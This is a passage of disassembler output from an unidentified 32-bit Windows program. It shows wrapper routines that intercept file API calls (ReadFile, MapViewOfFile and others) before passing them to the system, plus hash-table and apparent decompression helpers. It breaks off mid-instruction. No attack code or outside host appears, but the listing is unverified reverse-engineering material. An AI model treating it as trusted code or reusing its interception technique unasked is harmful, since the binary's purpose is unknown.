loc_50B3F5 push [ebp+arg_0] call ds:dword_5116A4 ; CloseHandle mov [ebp+var_4], eax loc_50B3F5: ; CODE XREF: sub_50B3D5+12j mov eax, [ebp+var_4] leave retn 4 sub_50B3D5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50B3FC proc near ; CODE XREF: sub_40E29B+19Bp ; sub_40E29B+48Dp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx lea eax, [ebp+var_4] push eax push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_501177 test eax, eax jnz short loc_50B436 push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_51177C ; ReadFile mov [ebp+var_4], eax jmp short loc_50B459 ; --------------------------------------------------------------------------- loc_50B436: ; CODE XREF: sub_50B3FC+1Ej cmp [ebp+arg_10], 0 jz short loc_50B459 mov eax, [ebp+arg_10] cmp dword ptr [eax], 0 jnz short loc_50B459 mov eax, [ebp+arg_10] cmp dword ptr [eax+10h], 0 jz short loc_50B459 mov eax, [ebp+arg_10] push dword ptr [eax+10h] call ds:dword_511784 ; SetEvent loc_50B459: ; CODE XREF: sub_50B3FC+38j ; sub_50B3FC+3Ej ... mov eax, [ebp+var_4] leave retn 14h sub_50B3FC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50B460 proc near ; CODE XREF: sub_410908+6Cp ; sub_416788+259p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx lea eax, [ebp+var_4] push eax push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_500421 test eax, eax jnz short loc_50B491 push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_511788 ; SetFilePointer mov [ebp+var_4], eax jmp short loc_50B49D ; --------------------------------------------------------------------------- loc_50B491: ; CODE XREF: sub_50B460+18j cmp [ebp+arg_8], 0 jz short loc_50B49D mov eax, [ebp+arg_8] and dword ptr [eax], 0 loc_50B49D: ; CODE XREF: sub_50B460+2Fj ; sub_50B460+35j mov eax, [ebp+var_4] leave retn 10h sub_50B460 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50B4A4 proc near ; CODE XREF: sub_418CE5+28p ; _0:0043AB52j ; DATA XREF: ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0FFFFFFFFh jz short loc_50B4BE lea eax, [ebp+var_4] push eax push [ebp+arg_0] call sub_500216 test eax, eax jnz short loc_50B4D9 loc_50B4BE: ; CODE XREF: sub_50B4A4+8j push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_5116B0 ; CreateFileMappingA mov [ebp+var_4], eax loc_50B4D9: ; CODE XREF: sub_50B4A4+18j mov eax, [ebp+var_4] leave retn 18h sub_50B4A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50B4E0 proc near ; DATA XREF: _7:005112B0o var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0FFFFFFFFh jz short loc_50B4FA lea eax, [ebp+var_4] push eax push [ebp+arg_0] call sub_500216 test eax, eax jnz short loc_50B515 loc_50B4FA: ; CODE XREF: sub_50B4E0+8j push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_5116B4 ; CreateFileMappingW mov [ebp+var_4], eax loc_50B515: ; CODE XREF: sub_50B4E0+18j mov eax, [ebp+var_4] leave retn 18h sub_50B4E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50B51C proc near ; CODE XREF: sub_418CE5+39p ; _0:0043AB4Cj ; DATA XREF: ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx lea eax, [ebp+var_4] push eax push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_4FFFBF test eax, eax jnz short loc_50B554 push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_51176C ; MapViewOfFile mov [ebp+var_4], eax loc_50B554: ; CODE XREF: sub_50B51C+1Ej mov eax, [ebp+var_4] leave retn 14h sub_50B51C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50B55B proc near ; CODE XREF: sub_418CE5+6Cp ; _0:0043AB46j ; DATA XREF: ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx lea eax, [ebp+var_4] push eax push [ebp+arg_0] call sub_4FFECD test eax, eax jnz short loc_50B57B push [ebp+arg_0] call ds:dword_5117A0 ; UnmapViewOfFile mov [ebp+var_4], eax loc_50B57B: ; CODE XREF: sub_50B55B+12j mov eax, [ebp+var_4] leave retn 4 sub_50B55B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50B582 proc near ; DATA XREF: _7:00511328o var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h push esi push edi push 0 lea eax, [ebp+var_4] push eax push 0 push 0 push [ebp+arg_0] call sub_500346 test eax, eax jz short loc_50B610 cmp [ebp+arg_4], 0 jz short loc_50B60B mov eax, [ebp+arg_4] movzx eax, byte ptr [eax] cmp eax, 88h jnz short loc_50B60B mov eax, [ebp+arg_4] mov byte ptr [eax+1], 1 mov eax, [ebp+arg_4] and word ptr [eax+2], 0 mov edi, [ebp+arg_0] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov [ebp+var_8], ecx cmp [ebp+var_8], 7Fh jnb short loc_50B5E0 mov eax, [ebp+var_8] mov [ebp+var_10], eax jmp short loc_50B5E7 ; --------------------------------------------------------------------------- loc_50B5E0: ; CODE XREF: sub_50B582+54j mov [ebp+var_10], 7Fh loc_50B5E7: ; CODE XREF: sub_50B582+5Cj mov ecx, [ebp+var_10] mov esi, [ebp+arg_0] mov edi, [ebp+arg_4] add edi, 8 mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov eax, [ebp+arg_4] and byte ptr [eax+87h], 0 loc_50B60B: ; CODE XREF: sub_50B582+22j ; sub_50B582+2Fj mov eax, [ebp+var_4] jmp short loc_50B630 ; --------------------------------------------------------------------------- loc_50B610: ; CODE XREF: sub_50B582+1Cj push offset dword_50E5B4 push offset aOpenfile ; "OpenFile" call sub_509C22 pop ecx pop ecx mov [ebp+var_C], eax push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call [ebp+var_C] loc_50B630: ; CODE XREF: sub_50B582+8Cj pop edi pop esi leave retn 0Ch sub_50B582 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50B636 proc near ; DATA XREF: _7:00511330o var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push 0 lea eax, [ebp+var_4] push eax push 0 push 0 push [ebp+arg_0] call sub_500346 test eax, eax jz short loc_50B656 mov eax, [ebp+var_4] jmp short locret_50B673 ; --------------------------------------------------------------------------- loc_50B656: ; CODE XREF: sub_50B636+19j push offset dword_50E5B4 push offset a_lopen ; "_lopen" call sub_509C22 pop ecx pop ecx mov [ebp+var_8], eax push [ebp+arg_4] push [ebp+arg_0] call [ebp+var_8] locret_50B673: ; CODE XREF: sub_50B636+1Ej leave retn 8 sub_50B636 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50B677 proc near ; DATA XREF: _7:00511338o var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx movzx eax, ds:byte_5160E4 and eax, 1 test eax, eax jnz short loc_50B6AB mov al, ds:byte_5160E4 or al, 1 mov ds:byte_5160E4, al push offset dword_50E5B4 push offset a_lclose ; "_lclose" call sub_509C22 pop ecx pop ecx mov ds:dword_5160E0, eax loc_50B6AB: ; CODE XREF: sub_50B677+10j lea eax, [ebp+var_4] push eax push [ebp+arg_0] call sub_500741 test eax, eax jnz short loc_50B6C6 push [ebp+arg_0] call ds:dword_5160E0 jmp short locret_50B6C8 ; --------------------------------------------------------------------------- loc_50B6C6: ; CODE XREF: sub_50B677+42j xor eax, eax locret_50B6C8: ; CODE XREF: sub_50B677+4Dj leave retn 4 sub_50B677 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50B6CC proc near ; DATA XREF: _7:00511348o var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx lea eax, [ebp+var_4] push eax push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_500421 test eax, eax jnz short loc_50B70A push offset dword_50E5B4 push offset a_llseek ; "_llseek" call sub_509C22 pop ecx pop ecx mov [ebp+var_8], eax push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call [ebp+var_8] mov [ebp+var_4], eax loc_50B70A: ; CODE XREF: sub_50B6CC+19j mov eax, [ebp+var_4] leave retn 0Ch sub_50B6CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50B711 proc near ; DATA XREF: _7:00511340o var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h lea eax, [ebp+var_4] push eax push 0 lea eax, [ebp+var_8] push eax push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_501177 test eax, eax jnz short loc_50B763 push offset dword_50E5B4 push offset a_lread ; "_lread" call sub_509C22 pop ecx pop ecx mov [ebp+var_C], eax push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call [ebp+var_C] mov [ebp+var_8], eax cmp [ebp+var_8], 0FFFFFFFFh jz short loc_50B763 mov [ebp+var_4], 1 loc_50B763: ; CODE XREF: sub_50B711+20j ; sub_50B711+49j cmp [ebp+var_4], 0 jnz short loc_50B76F or [ebp+var_10], 0FFFFFFFFh jmp short loc_50B775 ; --------------------------------------------------------------------------- loc_50B76F: ; CODE XREF: sub_50B711+56j mov eax, [ebp+var_8] mov [ebp+var_10], eax loc_50B775: ; CODE XREF: sub_50B711+5Cj mov eax, [ebp+var_10] leave retn 0Ch sub_50B711 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50B77C proc near ; CODE XREF: sub_502DD0+6C7p ; sub_502DD0+70Dp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov [ebp+var_8], ecx mov eax, [ebp+var_8] mov ecx, [ebp+arg_0] mov [eax], ecx mov eax, [ebp+var_8] and dword ptr [eax+0Ch], 0 mov eax, [ebp+arg_0] shl eax, 2 push eax call sub_50835A pop ecx mov [ebp+var_4], eax mov eax, [ebp+var_8] mov ecx, [ebp+var_4] mov [eax+8], ecx mov eax, [ebp+var_8] add eax, 10h push eax call ds:dword_51174C ; InitializeCriticalSection mov eax, [ebp+var_8] leave retn 4 sub_50B77C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50B7C0 proc near ; CODE XREF: sub_50B82A+Dp var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h mov [ebp+var_14], ecx and [ebp+var_4], 0 jmp short loc_50B7D6 ; --------------------------------------------------------------------------- loc_50B7CF: ; CODE XREF: sub_50B7C0:loc_50B824j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_50B7D6: ; CODE XREF: sub_50B7C0+Dj mov eax, [ebp+var_14] mov ecx, [ebp+var_4] cmp ecx, [eax] jnb short locret_50B826 mov eax, [ebp+var_14] mov eax, [eax+8] mov ecx, [ebp+var_4] mov eax, [eax+ecx*4] mov [ebp+var_8], eax loc_50B7EF: ; CODE XREF: sub_50B7C0+62j cmp [ebp+var_8], 0 jz short loc_50B824 cmp [ebp+arg_0], 0 jz short loc_50B804 mov eax, [ebp+var_8] push dword ptr [eax] call [ebp+arg_0] pop ecx loc_50B804: ; CODE XREF: sub_50B7C0+39j mov eax, [ebp+var_8] mov [ebp+var_C], eax mov eax, [ebp+var_8] mov eax, [eax+8] mov [ebp+var_8], eax mov eax, [ebp+var_C] mov [ebp+var_10], eax push [ebp+var_10] call sub_5083DD pop ecx jmp short loc_50B7EF ; --------------------------------------------------------------------------- loc_50B824: ; CODE XREF: sub_50B7C0+33j jmp short loc_50B7CF ; --------------------------------------------------------------------------- locret_50B826: ; CODE XREF: sub_50B7C0+1Ej leave retn 4 sub_50B7C0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50B82A proc near ; CODE XREF: sub_505070+51p var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx mov [ebp+var_8], ecx push 0 mov ecx, [ebp+var_8] call sub_50B7C0 mov eax, [ebp+var_8] mov eax, [eax+8] mov [ebp+var_4], eax push [ebp+var_4] call sub_5083DD pop ecx mov eax, [ebp+var_8] add eax, 10h push eax call ds:dword_511750 ; RtlDeleteCriticalSection leave retn sub_50B82A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50B85D proc near ; DATA XREF: sub_50B871+Co ; sub_50B8E0+Co ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_0] xor ecx, ecx cmp eax, [ebp+arg_4] setnz cl mov eax, ecx pop ebp retn 8 sub_50B85D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50B871 proc near ; CODE XREF: sub_4FF036+94p ; sub_4FF6DE+63p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx push offset sub_50BAFE push offset sub_50B85D push [ebp+arg_0] mov ecx, [ebp+var_4] call sub_50B891 leave retn 4 sub_50B871 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50B891 proc near ; CODE XREF: sub_5058CF+20p ; sub_50B871+17p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx mov [ebp+var_8], ecx mov eax, [ebp+var_8] push dword ptr [eax] push [ebp+arg_0] call [ebp+arg_8] pop ecx pop ecx mov ecx, [ebp+var_8] mov ecx, [ecx+8] mov eax, [ecx+eax*4] mov [ebp+var_4], eax loc_50B8B2: ; CODE XREF: sub_50B891+47j cmp [ebp+var_4], 0 jz short loc_50B8DA push [ebp+arg_0] mov eax, [ebp+var_4] push dword ptr [eax+4] call [ebp+arg_4] test eax, eax jnz short loc_50B8CF mov eax, [ebp+var_4] mov eax, [eax] jmp short locret_50B8DC ; --------------------------------------------------------------------------- loc_50B8CF: ; CODE XREF: sub_50B891+35j mov eax, [ebp+var_4] mov eax, [eax+8] mov [ebp+var_4], eax jmp short loc_50B8B2 ; --------------------------------------------------------------------------- loc_50B8DA: ; CODE XREF: sub_50B891+25j xor eax, eax locret_50B8DC: ; CODE XREF: sub_50B891+3Cj leave retn 0Ch sub_50B891 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50B8E0 proc near ; CODE XREF: sub_4FF818+93p ; sub_4FFD24+106p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx push offset sub_50BAFE push offset sub_50B85D push [ebp+arg_0] mov ecx, [ebp+var_4] call sub_50B900 leave retn 4 sub_50B8E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50B900 proc near ; CODE XREF: sub_505FCD+F1p ; sub_50B8E0+17p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 18h mov [ebp+var_18], ecx mov eax, [ebp+var_18] push dword ptr [eax] push [ebp+arg_0] call [ebp+arg_8] pop ecx pop ecx mov [ebp+var_C], eax mov eax, [ebp+var_18] mov eax, [eax+8] mov ecx, [ebp+var_C] mov eax, [eax+ecx*4] mov [ebp+var_8], eax mov eax, [ebp+var_18] mov eax, [eax+8] mov ecx, [ebp+var_C] lea eax, [eax+ecx*4] mov [ebp+var_4], eax loc_50B937: ; CODE XREF: sub_50B900+86j cmp [ebp+var_8], 0 jz short loc_50B988 push [ebp+arg_0] mov eax, [ebp+var_8] push dword ptr [eax+4] call [ebp+arg_4] test eax, eax jnz short loc_50B974 mov eax, [ebp+var_4] mov ecx, [ebp+var_8] mov ecx, [ecx+8] mov [eax], ecx mov eax, [ebp+var_8] mov eax, [eax] mov [ebp+var_10], eax mov eax, [ebp+var_8] mov [ebp+var_14], eax push [ebp+var_14] call sub_5083DD pop ecx mov eax, [ebp+var_10] jmp short locret_50B98A ; --------------------------------------------------------------------------- loc_50B974: ; CODE XREF: sub_50B900+4Bj mov eax, [ebp+var_8] add eax, 8 mov [ebp+var_4], eax mov eax, [ebp+var_8] mov eax, [eax+8] mov [ebp+var_8], eax jmp short loc_50B937 ; --------------------------------------------------------------------------- loc_50B988: ; CODE XREF: sub_50B900+3Bj xor eax, eax locret_50B98A: ; CODE XREF: sub_50B900+72j leave retn 0Ch sub_50B900 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50B98E proc near ; CODE XREF: sub_4FC000+3Ep ; sub_500216+D8p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx push offset sub_50BAFE push offset sub_50B85D push [ebp+arg_4] push [ebp+arg_0] mov ecx, [ebp+var_4] call sub_50B9B1 leave retn 8 sub_50B98E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50B9B1 proc near ; CODE XREF: sub_505BD7+204p ; sub_50B98E+1Ap var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 14h push edi mov [ebp+var_10], ecx mov eax, [ebp+var_10] push dword ptr [eax] push [ebp+arg_0] call [ebp+arg_C] pop ecx pop ecx mov [ebp+var_8], eax mov eax, [ebp+var_10] mov eax, [eax+8] mov ecx, [ebp+var_8] mov eax, [eax+ecx*4] mov [ebp+var_4], eax loc_50B9DA: ; CODE XREF: sub_50B9B1+52j cmp [ebp+var_4], 0 jz short loc_50BA05 push [ebp+arg_0] mov eax, [ebp+var_4] push dword ptr [eax+4] call [ebp+arg_8] test eax, eax jnz short loc_50B9FA mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] mov [eax], ecx jmp short loc_50BA62 ; --------------------------------------------------------------------------- loc_50B9FA: ; CODE XREF: sub_50B9B1+3Dj mov eax, [ebp+var_4] mov eax, [eax+8] mov [ebp+var_4], eax jmp short loc_50B9DA ; --------------------------------------------------------------------------- loc_50BA05: ; CODE XREF: sub_50B9B1+2Dj push 0Ch call sub_50835A pop ecx mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz short loc_50BA26 xor eax, eax mov edi, [ebp+var_C] stosd stosd stosd mov eax, [ebp+var_C] mov [ebp+var_14], eax jmp short loc_50BA2A ; --------------------------------------------------------------------------- loc_50BA26: ; CODE XREF: sub_50B9B1+63j and [ebp+var_14], 0 loc_50BA2A: ; CODE XREF: sub_50B9B1+73j mov eax, [ebp+var_14] mov [ebp+var_4], eax mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] mov [eax+4], ecx mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] mov [eax], ecx mov eax, [ebp+var_10] mov eax, [eax+8] mov ecx, [ebp+var_4] mov edx, [ebp+var_8] mov eax, [eax+edx*4] mov [ecx+8], eax mov eax, [ebp+var_10] mov eax, [eax+8] mov ecx, [ebp+var_8] mov edx, [ebp+var_4] mov [eax+ecx*4], edx loc_50BA62: ; CODE XREF: sub_50B9B1+47j pop edi leave retn 10h sub_50B9B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50BA67 proc near ; CODE XREF: sub_5046D0+6Fp var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] and dword ptr [eax+4], 0 mov eax, [ebp+var_4] and dword ptr [eax+0Ch], 0 leave retn sub_50BA67 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50BA7E proc near ; CODE XREF: sub_5046D0+82p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx loc_50BA85: ; CODE XREF: sub_50BA7E+5Dj mov eax, [ebp+var_4] mov ecx, [ebp+var_4] mov eax, [eax+4] cmp eax, [ecx] jb short loc_50BA96 xor al, al jmp short locret_50BAFA ; --------------------------------------------------------------------------- loc_50BA96: ; CODE XREF: sub_50BA7E+12j mov eax, [ebp+var_4] cmp dword ptr [eax+0Ch], 0 jnz short loc_50BAB6 mov eax, [ebp+var_4] mov eax, [eax+4] mov ecx, [ebp+var_4] mov ecx, [ecx+8] mov edx, [ebp+var_4] mov eax, [ecx+eax*4] mov [edx+0Ch], eax jmp short loc_50BAC5 ; --------------------------------------------------------------------------- loc_50BAB6: ; CODE XREF: sub_50BA7E+1Fj mov eax, [ebp+var_4] mov eax, [eax+0Ch] mov ecx, [ebp+var_4] mov eax, [eax+8] mov [ecx+0Ch], eax loc_50BAC5: ; CODE XREF: sub_50BA7E+36j mov eax, [ebp+var_4] cmp dword ptr [eax+0Ch], 0 jnz short loc_50BADD mov eax, [ebp+var_4] mov eax, [eax+4] inc eax mov ecx, [ebp+var_4] mov [ecx+4], eax jmp short loc_50BA85 ; --------------------------------------------------------------------------- loc_50BADD: ; CODE XREF: sub_50BA7E+4Ej mov eax, [ebp+var_4] mov eax, [eax+0Ch] mov ecx, [ebp+arg_0] mov eax, [eax+4] mov [ecx], eax mov eax, [ebp+var_4] mov eax, [eax+0Ch] mov ecx, [ebp+arg_4] mov eax, [eax] mov [ecx], eax mov al, 1 locret_50BAFA: ; CODE XREF: sub_50BA7E+16j leave retn 8 sub_50BA7E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50BAFE proc near ; DATA XREF: sub_50B871+7o ; sub_50B8E0+7o ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_0] xor edx, edx div [ebp+arg_4] mov eax, edx pop ebp retn sub_50BAFE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50BB0D proc near ; DATA XREF: sub_5058CF+Co ; sub_505BD7+1EDo ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx and [ebp+var_8], 0 mov eax, [ebp+arg_0] mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_50BB47 jmp short loc_50BB2B ; --------------------------------------------------------------------------- loc_50BB24: ; CODE XREF: sub_50BB0D+38j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_50BB2B: ; CODE XREF: sub_50BB0D+15j mov eax, [ebp+var_4] movzx eax, byte ptr [eax] test eax, eax jz short loc_50BB47 mov eax, [ebp+var_8] shl eax, 1 mov ecx, [ebp+var_4] movzx ecx, byte ptr [ecx] or eax, ecx mov [ebp+var_8], eax jmp short loc_50BB24 ; --------------------------------------------------------------------------- loc_50BB47: ; CODE XREF: sub_50BB0D+13j ; sub_50BB0D+26j mov eax, [ebp+var_8] xor edx, edx div [ebp+arg_4] mov eax, edx leave retn sub_50BB0D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50BB53 proc near ; CODE XREF: sub_50BBBF+7Dp ; sub_50C5B0+Fp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_8] push ebx xor ebx, ebx push esi mov esi, [ebp+arg_0] cmp eax, ebx push edi jz short loc_50BB6A mov ecx, [esi+3Ch] mov [eax], ecx loc_50BB6A: ; CODE XREF: sub_50BB53+10j mov eax, [esi] mov edi, [ebp+arg_4] cmp eax, 4 jz short loc_50BB79 cmp eax, 5 jnz short loc_50BB84 loc_50BB79: ; CODE XREF: sub_50BB53+1Fj push dword ptr [esi+0Ch] push dword ptr [edi+28h] call dword ptr [edi+24h] pop ecx pop ecx loc_50BB84: ; CODE XREF: sub_50BB53+24j cmp dword ptr [esi], 6 jnz short loc_50BB94 push edi push dword ptr [esi+4] call sub_50CBD8 pop ecx pop ecx loc_50BB94: ; CODE XREF: sub_50BB53+34j mov eax, [esi+28h] mov [esi], ebx mov [esi+34h], eax mov [esi+30h], eax mov eax, [esi+38h] mov [esi+1Ch], ebx cmp eax, ebx mov [esi+20h], ebx jz short loc_50BBBA push ebx push ebx push ebx call eax mov [esi+3Ch], eax add esp, 0Ch mov [edi+30h], eax loc_50BBBA: ; CODE XREF: sub_50BB53+57j pop edi pop esi pop ebx pop ebp retn sub_50BB53 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50BBBF proc near ; CODE XREF: sub_50CF41+AFp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_0] push edi push 40h push 1 push dword ptr [esi+28h] call dword ptr [esi+20h] mov edi, eax add esp, 0Ch test edi, edi jz short loc_50BC26 push 5A0h push 8 push dword ptr [esi+28h] call dword ptr [esi+20h] add esp, 0Ch mov [edi+24h], eax test eax, eax jnz short loc_50BBFD push edi push dword ptr [esi+28h] call dword ptr [esi+24h] pop ecx pop ecx jmp short loc_50BC26 ; --------------------------------------------------------------------------- loc_50BBFD: ; CODE XREF: sub_50BBBF+31j mov ebx, [ebp+arg_8] push ebx push 1 push dword ptr [esi+28h] call dword ptr [esi+20h] add esp, 0Ch mov [edi+28h], eax test eax, eax jnz short loc_50BC2A push dword ptr [edi+24h] push dword ptr [esi+28h] call dword ptr [esi+24h] push edi push dword ptr [esi+28h] call dword ptr [esi+24h] add esp, 10h loc_50BC26: ; CODE XREF: sub_50BBBF+1Aj ; sub_50BBBF+3Cj xor eax, eax jmp short loc_50BC46 ; --------------------------------------------------------------------------- loc_50BC2A: ; CODE XREF: sub_50BBBF+52j and dword ptr [edi], 0 add eax, ebx mov [edi+2Ch], eax mov eax, [ebp+arg_4] push 0 push esi push edi mov [edi+38h], eax call sub_50BB53 add esp, 0Ch mov eax, edi loc_50BC46: ; CODE XREF: sub_50BBBF+69j pop edi pop esi pop ebx pop ebp retn sub_50BBBF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50BC4B proc near ; CODE XREF: sub_50D043+11Bp var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 30h mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_0] push esi mov ecx, [eax] mov eax, [eax+4] mov [ebp+var_8], eax mov eax, [ebx+20h] mov [ebp+arg_0], eax mov eax, [ebx+1Ch] mov [ebp+var_10], ecx mov ecx, [ebx+34h] mov [ebp+var_4], eax mov eax, [ebx+30h] cmp ecx, eax push edi mov [ebp+var_C], ecx jnb short loc_50BC83 sub eax, ecx dec eax jmp short loc_50BC88 ; --------------------------------------------------------------------------- loc_50BC83: ; CODE XREF: sub_50BC4B+31j mov eax, [ebx+2Ch] sub eax, ecx loc_50BC88: ; CODE XREF: sub_50BC4B+36j mov [ebp+var_14], eax loc_50BC8B: ; CODE XREF: sub_50BC4B+ADj ; sub_50BC4B+10Bj ... mov eax, [ebx] cmp eax, 9 ; 